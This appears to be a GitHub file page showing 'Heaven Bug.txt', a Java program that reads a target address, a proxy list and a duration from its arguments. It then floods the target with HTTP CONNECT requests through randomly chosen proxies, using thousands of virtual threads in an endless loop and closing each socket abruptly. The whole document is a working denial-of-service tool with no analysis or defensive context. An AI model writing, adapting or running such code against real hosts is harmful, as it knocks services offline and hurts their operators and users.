-
Notifications
You must be signed in to change notification settings - Fork 1
/
Heaven Bug.txt
61 lines (56 loc) · 2.85 KB
/
Heaven Bug.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import java.io.BufferedReader;
import java.io.FileReader;
import java.net.InetSocketAddress;
import java.net.StandardSocketOptions;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.util.concurrent.SynchronousQueue;
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
public class Main {
public static void main(String[] args) {
try {
InetSocketAddress socketAddress = new InetSocketAddress(args[0], Integer.parseInt(args[1]));
String address = socketAddress.getAddress().getHostAddress();
int port = socketAddress.getPort();
ByteBuffer header = ByteBuffer.wrap(("CONNECT " + address + ":" + port + " HTTP/1.1" + System.lineSeparator() + System.lineSeparator() + "HOST: " + address + ":" + port + System.lineSeparator() + System.lineSeparator()).getBytes());
BufferedReader fileReader = new BufferedReader(new FileReader(args[2]));
Object[] loader = fileReader.lines().distinct().toArray();
InetSocketAddress[] proxies = new InetSocketAddress[(int) (loader.length - 1)];
for (int index = 0; index < proxies.length; index++) {
String line = (String) loader[index];
proxies[index] = new InetSocketAddress(line.split(":")[0], Integer.parseInt(line.split(":")[1]));
}
fileReader.close();
for (InetSocketAddress s : proxies)
System.out.println(s);
ThreadPoolExecutor threads = new ThreadPoolExecutor(1, Runtime.getRuntime().availableProcessors() * 8000, 0, TimeUnit.NANOSECONDS, new SynchronousQueue<>(), new ThreadFactory() {
@Override
public Thread newThread(Runnable runnable) {
return Thread.ofVirtual().start(runnable);
}
}, (runnable, threadPoolExecutor) -> {
});
threads.allowCoreThreadTimeOut(false);
Thread.ofPlatform().start(() -> {
while (true)
try (SocketChannel channel = SocketChannel.open()) {
threads.execute(() -> {
try {
channel.connect(proxies[(int) (Math.random() * proxies.length - 1)]);
channel.write(header.slice());
channel.setOption(StandardSocketOptions.SO_LINGER, 0);
channel.close();
} catch (Exception exception) {
}
});
} catch (Exception exception) {
}
});
Thread.sleep(Integer.parseInt(args[3]) * 1000L);
} catch (Exception exception) {
exception.printStackTrace();
}
}
}